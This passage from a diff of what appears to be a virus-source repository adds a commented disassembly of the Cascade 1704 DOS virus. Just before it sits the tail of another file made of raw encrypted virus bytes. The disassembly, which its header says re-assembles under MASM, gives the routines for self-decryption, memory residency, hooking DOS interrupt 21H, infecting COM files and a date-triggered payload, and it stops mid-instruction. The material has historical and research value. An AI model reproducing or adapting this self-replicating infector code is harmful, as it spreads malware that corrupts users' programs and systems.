9 + db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h + db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h + db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h + db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h + db 11h,0BBh, 19h,0B9h, 87h, 07h + db 0CEh, 22h,0E7h,0FCh,0F2h, 46h + db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah + db 0E5h, 95h, 83h, 92h,0C8h, 63h + db 17h, 52h,0F5h, 87h,0ABh,0E8h + db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh + db 4Fh,0D8h,0F9h,0C3h,0E0h + db 42h + db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h + db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh + db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h + db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh +loc_22: + jl loc_19 ; Jump if < + hlt ; Halt processor + mov dl,6Ah ; 'j' + dec word ptr ds:data_55e[si] + out 1Eh,ax ; port 1Eh ??I/O Non-standard + jc loc_22 ; Jump if carry Set + mov dl,0C0h + dec bp + mov sp,0C8E3h + inc bp + and bl,0C0h + sub sp,si + xchg ax,si + div di ; ax,dx rem=dx:ax/reg + db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h + db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h + db 7Eh,0F4h + db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh + db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh + db 0CFh,0F1h, 49h, 24h, 09h, 1Fh + db 65h, 0Ch, 8Eh,0F2h, 49h, 76h + db 16h, 28h,0FDh, 2Ch, 39h, 0Fh + db 4Dh, 58h,0A3h,0D8h, 36h,0F4h + db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh + db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h + db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch + db 94h, 95h, 93h,0C0h,0DCh,0ECh + db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah + db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah + db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h + db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh + db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h + db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h + db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh + db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h + db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh + db 0F0h,0B0h,0FDh, 07h,0F1h, 10h + db 0Bh,0E7h,0ECh, 61h, 85h + db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h + db 46h,0D0h, 23h,0C3h,0CCh, 67h + db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h + db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh + db 37h, 48h, 04h, 01h, 76h, 0Ch + db 2Bh, 88h, 37h,0BEh,0F3h,0CDh + db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h + db 0CCh, 66h,0D8h,0CCh,0E3h, 07h + db 9Bh,0FCh,0DCh + db 57h +loc_27: + mov bp,0F7F3h + xchg ax,di + aaa ; Ascii adjust + in al,dx ; port 0C0h, DMA-2 bas&add ch 0 + stc ; Set carry flag + db 0C0h,0E9h + db 0C3h,0B6h, 29h, 76h,0F2h,0B1h + db 0D8h, 33h,0E4h,0B5h,0EFh, 23h + db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh + db 0AFh,0EFh, 72h, 03h,0D6h, 00h + db 33h,0D5h,0FAh, 87h, 3Ah, 83h + db 0C5h,0B5h, 4Bh, 4Fh,0AFh + db 0FCh, 37h, 4Ah,0F4h + db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h + db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h + db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h + db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h + db 0E8h, 49h,0CCh, 83h,0CFh,0DCh + db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh + db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h + db 09h,0CFh, 7Eh + db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h + db 0DCh,0C3h, 23h, 70h, 13h, 28h + db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh + db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh + db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h + db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h + db 79h,0E4h, 8Dh,0CFh,0ECh, 49h + db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah + db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh + db 0AFh,0EFh, 14h, 23h,0E1h, 93h + db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h + db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h + db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h + db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh + db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh + db 0E8h +loc_33: + stc ; Set carry flag + mov cl,0B3h + mov sp,4BBEh + cmc ; Complement carry + db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h + db 49h, 85h, 38h,0D7h,0C5h, 89h + db 85h + db 2Ch, 05h,0AAh,0E7h,0F1h, 79h + db 0E5h,0B6h,0E5h, 22h, 96h,0E4h + db 11h, 00h, 69h, 2Ch,0B4h,0ABh + db 0A9h,0E9h, 35h,0ECh,0F4h, 58h + db 58h, 52h, 0Dh, 00h,0BEh, 43h + db 03h, 81h,0D6h, 4Ch, 94h,0F7h + db 48h, 9Eh,0F2h, 57h,0E6h,0E2h + db 1Eh, 15h, 43h,0BBh,0BDh,0B0h + db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h + db 78h, 08h, 38h,0E4h, 90h,0C7h + db 70h,0C2h,0C1h + db 0Ch + db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h + db 79h, 1Eh, 18h,0E4h,0B6h,0E7h + db 19h, 6Ch,0FCh,0B6h,0EFh, 86h + db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h + db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h + db 0F7h, 79h, 62h, 5Ah,0F3h, 82h + db 0Dh, 5Fh + db 09h,0B4h,0F1h,0BCh, 21h,0B1h + db 0E0h,0B0h,0B1h, 65h, 36h, 78h + db 34h, 00h,0D0h,0A0h,0F3h, 78h + db 0CEh,0C1h, 00h, 17h, 26h,0C1h + db 0C4h, 94h,0CFh, 79h, 0Ah, 00h + db 0F0h,0A6h,0F3h, 11h, 60h,0E4h + db 0BAh,0E7h, 92h,0F0h, 58h, 34h + db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h + db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh + db 0AEh, 03h, 76h,0F5h, 85h, 31h + db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h + db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh + db 0E3h, 0Ch, 10h,0ABh, 10h, 00h + db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h + db 0C0h,0E2h, 38h, 24h,0A3h, 96h + db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh + db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h + db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh + db 42h, 84h,0F0h,0CEh, 2Dh,0F9h + db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch + db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh + db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh + db 0E2h, 92h, 1Ch,0D1h +loc_37: + sub cx,[bx-7Eh] + db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h + db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh + db 03h,0F1h, 1Ch, 77h,0FDh,0F2h + db 01h, 07h,0DCh, 51h,0B2h,0EFh + db 21h,0ABh + db 0Dh, 08h + db 24h,0E4h + db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h + db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h + db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h + db 49h,0C2h,0E7h, 41h,0F2h,0F4h + db 0BBh, 23h,0F2h,0BFh,0E1h, 66h + db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h + db 0A5h,0F7h, 46h,0FDh, 03h,0DEh + db 4Ah,0E4h, 94h,0C7h, 04h,0C4h + db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh + db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h + db 0D0h, 94h + db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h + db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh + db 0F5h + +locloop_40: + movsw ; Mov [si] to es:[di] +;* mov dx,offset loc_46 ;* + db 0BAh, 84h,0F0h + mov ax,ds:data_45e + cmpsb ; Cmp [si] to es:[di] + db 0F3h,0F7h, 56h,0A1h,0F3h, 10h + db 2Eh, 14h,0C4h,0B4h,0E7h, 41h + db 80h,0EFh, 4Fh, 96h,0F3h,0CDh + db 0F0h, 90h,0F3h,0B8h,0CDh, 63h + db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh + db 45h, 02h,0C1h, 09h,0B1h, 53h + db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh + db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h + db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch + db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh + db 88h,0DEh,0AEh,0A1h,0F3h, 42h + db 0F6h, 1Ah,0B0h, 10h, 64h, 12h + db 0Ah, 60h, 18h, 0Ah,0F3h, 11h + db 9Ch, 20h, 1Ah,0EAh, 09h, 80h + db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h + db 90h,0C3h, 48h,0C0h, 9Dh,0F3h + db 47h,0F6h, 08h, 34h,0C8h,0D8h + db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h + db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h + db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh + db 6Ah, 72h, 78h,0F0h,0BDh, 70h + db 48h,0C8h,0C4h,0A5h,0F7h, 85h + db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h + db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch + db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h + db 30h, 0Ch, 2Ah,0F0h, 38h, 60h + db 97h,0CFh, 30h, 34h, 72h,0D0h + db 0A1h,0F3h, 0Fh, 10h, 20h, 52h + db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h + db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch + db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh + db 0ECh,0A5h,0F5h, 09h, 58h,0F2h + db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h + db 06h, 69h, 1Ch,0A8h, 92h,0E1h + db 0Bh,0BFh, 11h, 16h, 93h,0D2h + db 0Ah, 14h, 93h, 0Dh,0E0h, 34h + db 0C4h, 91h,0C7h,0CBh,0B7h, 96h + db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h + db 0DCh, 11h,0E0h,0BCh,0E3h, 93h + db 0A3h,0FCh + +locloop_41: + in al,0E0h ; port 0E0h, Memory encode reg2 + db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h + db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h + db 60h,0A2h, 23h,0EEh, 8Fh,0CFh + db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h + db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h + db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh + db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah + db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh + db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh + db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h + db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh + db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h + db 20h,0FDh, 2Ch, 35h, 07h, 2Ch + db 0F4h, 08h, 59h,0F3h,0FAh, 82h + db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h + db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h + db 9Ch,0FFh, 85h,0F3h + +locloop_42: + jbe loc_45 ; Jump if below or = + clc ; Clear carry flag + mov sp,0ECC8h + inc dx + loopnz locloop_41 ; Loop if zf=0, cx>0 + + retn + db 35h, 94h + db 97h + db 0AAh +loc_45: + esc 4,[bx+di] ; coprocessor escape + esc 0,cl ; coprocessor escape + db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh + db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h + db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h + db 88h, 82h, 83h, 87h, 08h, 42h + db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h + db 0F7h, 4Bh, 57h,0E8h, 12h, 11h + db 46h, 59h,0C5h,0E2h, 5Ch,0CDh + db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh + db 70h,0C8h,0E8h,0F3h,0F7h,0E0h + db 0F7h,0CFh, 85h, 88h, 2Ch, 04h + db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch + db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh + db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh + db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h + db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h + +seg_a ends + + + + end start diff --git a/0-9/1704 (5).ASM b/0-9/1704 (5).ASM new file mode 100755 index 0000000..0f93af6 --- /dev/null +++ b/0-9/1704 (5).ASM @@ -0,0 +1,919 @@ + page 65,132 + title The 'Cascade' Virus (1704 version) +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Cascade' Virus (1704 version) +; Disassembled by Joe Hirst, March 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus occurs attached to the end of a COM file. The first + ; three bytes of the program are stored in the virus, and replaced + ; by a branch to the beginning of the virus. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +RAM SEGMENT AT 400H + + ; System data + + ORG 4EH +BW044E DW ? ; VDU display start address + + ORG 6CH +BW046C DW ? ; System clock + +RAM ENDS + +MCB SEGMENT AT 0 ; Memory control block references + +MB0000 DB ? ; MCB signature +MW0001 DW ? ; MCB owner +MW0003 DW ? ; MCB size + +MCB ENDS + +OPROG SEGMENT AT 0 ; Original program references + + ORG 100H +OW0100 DW ? +OB0102 DB ? + +OPROG ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:OPROG + +VIRLEN EQU OFFSET ENDADR-START +MAXLEN EQU OFFSET START-ENDADR-20H +JMPADR = OFFSET START-ENDADR-2 + + ORG 16H +DW0016 DW ? ; PSP parent ID + + ORG 2CH +DW002C DW ? ; PSP environment + + ORG 36H +DW0036 DW ? ; FHT segment + + ORG 100H + +START: + +DB0100 DB 1 ; Encryption indicator + + ; Virus entry point + +ENTRY: CLI + MOV BP,SP ; Save stack pointer + CALL BP0010 ; \ Get address of BP0010 +BP0010: POP BX ; / + SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg + TEST DB0100[BX+2AH],1 ; Is virus encrypted + JZ BP0030 ; Branch if not + LEA SI,BP0030[BX+2AH] ; Address start of encrypted area + MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area +BP0020: XOR [SI],SI ; \ Decrypt + XOR [SI],SP ; / + INC SI ; \ Next address + DEC SP ; / + JNZ BP0020 ; Repeat for all area +BP0030: MOV SP,BP ; Restore stack pointer + JMP BP0040 ; Branch past data + + ; Data + +PROGRM EQU THIS DWORD +PRG_OF DW 100H ; Original program offset +PRG_SGIDW 1021H ; Original program segment + +INITAX DW 0 ; Initial AX value +PROG_1 DW 2DE9H ; \ First three bytes of program +PROG_2 DB 0DH ; / + DB 0, 0 + +I1CBIO EQU THIS DWORD +I1C_OF DW 0FF53H ; Interrupt 1CH offset +I1C_SG DW 0F000H ; Interrupt 1CH segment + +I21BIO EQU THIS DWORD +I21_OF DW 1460H ; Interrupt 21H offset +I21_SG DW 026AH ; Interrupt 21H segment + +I28BIO EQU THIS DWORD +I28_OF DW 1445H ; Interrupt 28H offset +I28_SG DW 0270H ; Interrupt 28H segment + + DW 0 ; - not referenced +F_ATTR DW 0 ; File attributes +F_DATE DW 0E71H ; File date +F_TIME DW 601FH ; File time +F_PATH EQU THIS DWORD +PATHOF DW 044EH ; File pathname offset +PATHSG DW 20FFH ; File pathname segment +F_SIZ1 DW 62DBH ; File size - low word +F_SIZ2 DW 0 ; File size - high word +JUMP_1 DB 0E9H ; \ Jump instruction +JUMP_2 DW 1D64H ; / +NUMCOL DB 0 ; Number of display columns +NUMROW DB 0 ; Number of display rows +C80_SW DB 0 ; 80 column text switch +CURCHA DB 0 ; Current character +CURATT DB 0 ; Current attributes +SWITCH DB 8 ; Switches + ; 01 Int 1CH active + ; 02 Switch 2 + ; 04 Switch 3 - not used + ; 08 No display +RAM_SG DW 0 ; Video RAM segment +VDURAM DW 0 ; VDU display start address +LOOPCT DW 04F8H ; Timed loop count +I1CCNT DW 0FDAH ; Int 1CH count +I1CMAX DW 0FDAH ; Int 1CH random number maximum +NUMPOS DW 0 ; Number of display positions +RANPOS DW 1 ; Number of lines to affect +RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H + + ; Main program start + +BP0040: CALL BP0050 ; \ Get address of BP0050 +BP0050: POP BX ; / + SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg + MOV PRG_SG[BX+2AH],CS ; Save original program segment + MOV INITAX[BX+2AH],AX ; Save initial AX value + MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program + MOV OW0100,AX ; Replace them + MOV AL,PROG_2[BX+2AH] ; Get third byte of program + MOV OB0102,AL ; Replace it + PUSH BX + MOV AH,30H ; Get DOS version number function + INT 21H ; DOS service + POP BX + CMP AL,2 ; Version 2.X or above? + JB BP0060 ; Branch if not + MOV AX,4BFFH ; Is virus active function + XOR DI,DI ; Clear register + XOR SI,SI ; Clear register + INT 21H ; DOS service + CMP DI,55AAH ; Is virus already active + JNE BP0070 ; Branch if not +BP0060: STI + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV AX,INITAX[BX+2AH] ; Restore initial AX value + JMP PROGRM[BX+2AH] ; Branch to original program + +BP0070: PUSH BX + MOV AX,3521H ; Get interrupt 21H function + INT 21H ; DOS service + MOV AX,BX ; Move interrupt 21H offset + POP BX + MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset + MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment + MOV AX,0F000H ; \ + MOV ES,AX ; ) Address BIOS + MOV DI,0E008H ; / + CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS + JE BP0060 ; / + + ; Install virus + + ASSUME ES:MCB,DS:NOTHING +BP0080: MOV AX,007BH ; Load size of virus in paragraphs + MOV BP,CS ; Get current segment + DEC BP ; \ Address back to MCB + MOV ES,BP ; / + MOV SI,DW0016 ; Get parent ID + MOV MW0001,SI ; Store as owner in MCB + MOV DX,MW0003 ; Get MCB size + MOV MW0003,AX ; Store virus size + MOV MB0000,4DH ; Store MCB identification + SUB DX,AX ; Subtract virus from original size + DEC DX ; + INC BP ; Forward from MCB + ADD BP,AX ; Add size of virus + INC BP ; And of another MCB + MOV ES,BP ; Address new PSP segment + PUSH BX + MOV AH,50H ; Set current PSP function + MOV BX,BP ; New PSP segment + INT 21H ; DOS service + POP BX + XOR DI,DI ; Clear register + PUSH ES ; \ Set stack segment to new PSP + POP SS ; / + PUSH DI + LEA DI,CPY040[BX+2AH] ; Address end of virus + MOV SI,DI ; And for source + MOV CX,VIRLEN ; Get length of virus + STD ; Going downwards + REPZ MOVSB ; Copy virus + PUSH ES ; Push new segment + LEA CX,BP0090[BX+2AH] ; \ And next instruction + PUSH CX ; / + RETF ; ... and load them + + ; Now running in virus at end of new program segment + +BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address + LEA CX,DB0100[BX+2AH] ; Get length of original program + REPZ MOVSB ; Copy original program to new PSP + MOV DW0036,CS ; New segment in handle table address + DEC BP ; \ Address back to MCB + MOV ES,BP ; / + MOV MW0003,DX ; Store original program size + MOV MB0000,5AH ; Store MCB ident (last) + MOV MW0001,CS ; Store CS as owner in MCB + INC BP ; \ Forward again to PSP + MOV ES,BP ; / + PUSH DS ; \ Set ES to DS + POP ES ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + LEA SI,DB0100[BX+2AH] ; Address start of virus + MOV DI,OFFSET DB0100 ; Start of program area in first area + MOV CX,VIRLEN ; Get length of virus + CLD ; Copy forwards + REPZ MOVSB ; Copy virus to start of first area + PUSH ES ; Push segment of first area + LEA AX,BP0100 ; \ Offset of next instruction + PUSH AX ; / + RETF ; ... and load them + + ; Now running in installed virus, first area + + ASSUME ES:NOTHING +BP0100: MOV DW002C,0 ; No environment pointer + MOV DW0016,CS ; Is its own parent + PUSH DS + LEA DX,INT_21 ; Interrupt 21H routine + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,2521H ; Set interrupt 21H function + INT 21H ; DOS service + POP DS + MOV AH,1AH ; Set DTA function + MOV DX,0080H ; DTA address + INT 21H ; DOS service + CALL GETCLK ; Copy system clock + MOV AH,2AH ; Get date function + INT 21H ; DOS service + CMP CX,07C4H ; Year 1988? + JA BP0130 ; Branch if after 1988 + JE BP0110 ; Branch if 1988 + CMP CX,07BCH ; Year 1980? + JNE BP0130 ; Branch if not + PUSH DS + MOV AX,3528H ; Get interrupt 28H function + INT 21H ; DOS service + MOV I28_OF,BX ; Save interrupt 28H offset + MOV I28_SG,ES ; Save interrupt 28H segment + MOV AX,2528H ; Set interrupt 28H function + MOV DX,OFFSET INT_28 ; Int 28H routine address + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + POP DS + OR SWITCH,8 ; Set on No display switch + JMP BP0120 + + ; Year is 1988 + +BP0110: CMP DH,0AH ; October? + JB BP0130 ; Branch if not +BP0120: CALL TIMCYC ; Time one clock cycle + MOV AX,1518H ; Upper limit - 5400 + CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV I1CCNT,AX ; Set Int 1CH count + MOV I1CMAX,AX ; Set Int 1CH random no maximum + MOV RANPOS,1 ; Set num of lines to affect to 1 + MOV AX,351CH ; Get interrupt 1CH function + INT 21H ; DOS service + MOV I1C_OF,BX ; Save interrupt 1CH offset + MOV I1C_SG,ES ; Save interrupt 1CH segment + PUSH DS + MOV AX,251CH ; Set interrupt 1CH function + MOV DX,OFFSET INT_1C ; Int 1CH routine address + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + POP DS +BP0130: MOV BX,-2AH ; Set up relocation register + JMP BP0060 ; Branch to start program + + ; Interrupt 21H routine + +INT_21: CMP AH,4BH ; Load function? + JE I_2106 ; Branch if yes +I_2102: JMP I21BIO ; Branch to original int 21H + + ; Virus call + +I_2104: MOV DI,55AAH ; Virus call - signal back + LES AX,I21BIO ; Load return address + MOV DX,CS ; Load segment + IRET + + ; Load and execute function + +I_2106: CMP AL,0FFH ; Is this a virus call? + JE I_2104 ; Branch if yes + CMP AL,0 ; Load and execute? + JNE I_2102 ; Branch if not + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH ES + PUSH DS + MOV PATHOF,DX ; Save pathname offset + MOV PATHSG,DS ; Save pathname segment + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,3D00H ; Open handle function + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV BX,AX ; Move file handle + MOV AX,5700H ; Get file date and time function + INT 21H ; DOS service + MOV F_DATE,DX ; Save file date + MOV F_TIME,CX ; Save file time + MOV AH,3FH ; Read handle function + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV DX,OFFSET PROG_1 ; \ First three bytes of program + MOV CX,3 ; / + INT 21H ; DOS service + JB I_2110 ; Branch if error + CMP AX,CX ; Correct length read? + JNE I_2110 ; Branch if error + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV F_SIZ1,AX ; File size - low word + MOV F_SIZ2,DX ; File size - high word + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CMP PROG_1,5A4DH ; Is it an EXE file? + JNE I_2108 ; Branch if not + JMP I_2124 ; Dont infect + +I_2108: CMP F_SIZ2,0 ; File size - high word + JA I_2110 ; Branch if file too big + CMP F_SIZ1,MAXLEN ; Maximum file size? + JBE I_2112 ; Branch if file not too big +I_2110: JMP I_2124 ; Dont infect + +I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch + JNE I_2114 ; Branch if not + MOV AX,F_SIZ1 ; Get file size - low word + ADD AX,WORD PTR JMPADR ; Convert to infected offset + CMP AX,PROG_1+1 ; Is it the same + JE I_2110 ; Branch if already infected +I_2114: MOV AX,4300H ; Get file attributes function + LDS DX,F_PATH ; Pathname pointer + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV F_ATTR,CX ; Save file attributes + XOR CL,20H ; Change archive bit + TEST CL,27H ; Are there any attributes to change + JZ I_2116 ; Branch if not + MOV AX,4301H ; Set file attributes function + XOR CX,CX ; No attributes + INT 21H ; DOS service + JB I_2110 ; Branch if error +I_2116: MOV AX,3D02H ; Open handle (R/W) function + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV BX,AX ; Move file handle + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + CALL CPYVIR ; Copy virus to program + JNB I_2118 ; Branch if no error + MOV AX,4200H ; Move file pointer (Start) function + MOV CX,F_SIZ2 ; File size - high word + MOV DX,F_SIZ1 ; File size - low word + INT 21H ; DOS service + MOV AH,40H ; Write handle function + XOR CX,CX ; Zero length (reset length} + INT 21H ; DOS service + JMP I_2120 ; Reset file details + +I_2118: MOV AX,4200H ; Move file pointer (Start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + JB I_2120 ; Branch if error + MOV AX,F_SIZ1 ; Get file size - low word + ADD AX,0FFFEH ; Convert to jump offset + MOV JUMP_2,AX ; Store in jump instruction + MOV AH,40H ; Write handle function + MOV DX,OFFSET JUMP_1 ; Address to jump instruction + MOV CX,3 ; Length of jump instruction + INT 21H ; DOS service +I_2120: MOV AX,5701H ; Set file date and time function + MOV DX,F_DATE ; Get old file date + MOV CX,F_TIME ; Get old file time + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + MOV CX,F_ATTR ; Get old file attributes + TEST CL,7 ; System, read only or hidden? + JNZ I_2122 ; Branch if yes + TEST CL,20H ; Archive? + JNZ I_2124 ; Branch if yes +I_2122: MOV AX,4301H ; Set file attributes function + LDS DX,F_PATH ; Pathname pointer + INT 21H ; DOS service +I_2124: POP DS + POP ES + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + JMP I_2102 ; Original interrupt 21H + + ; Create random number + +RNDNUM: PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH BX + PUSH CX + PUSH DX + PUSH AX ; Save multiplier + MOV CX,7 ; Seven words to move + MOV BX,OFFSET RANDOM+14 ; Last word of randomiser + PUSH [BX] ; Save last word +RND010: MOV AX,[BX-2] ; Get previous word + ADC [BX],AX ; Add to current word + DEC BX ; \ Address previous word + DEC BX ; / + LOOP RND010 ; Repeat for each word + POP AX ; Retrieve last word + ADC [BX],AX ; Add to first word + MOV DX,[BX] ; Get result + POP AX ; Recover multiplier + OR AX,AX ; Is there a multiplier? + JZ RND020 ; Branch if not + MUL DX ; Multiply random number +RND020: MOV AX,DX ; Move result + POP DX + POP CX + POP BX + POP DS + RET + + ; Copy system clock + +GETCLK: PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV CX,0040H ; \ Set DS to system RAM + MOV DS,CX ; / + MOV DI,OFFSET RANDOM ; Randomizer work area + MOV SI,006CH ; Address system clock + MOV CX,8 ; Eight bytes to copy + CLD + REPZ MOVSW ; Copy system clock + POP CX + POP DI + POP SI + POP ES + POP DS + RET + + ; Get character and attributes + + ASSUME DS:CODE +GETCHA: PUSH SI + PUSH DS + PUSH DX + MOV AL,DH ; Get row number + MUL NUMCOL ; Number of visible columns + MOV DH,0 ; Clear top of register + ADD AX,DX ; Add column number + SHL AX,1 ; Multiply by two + ADD 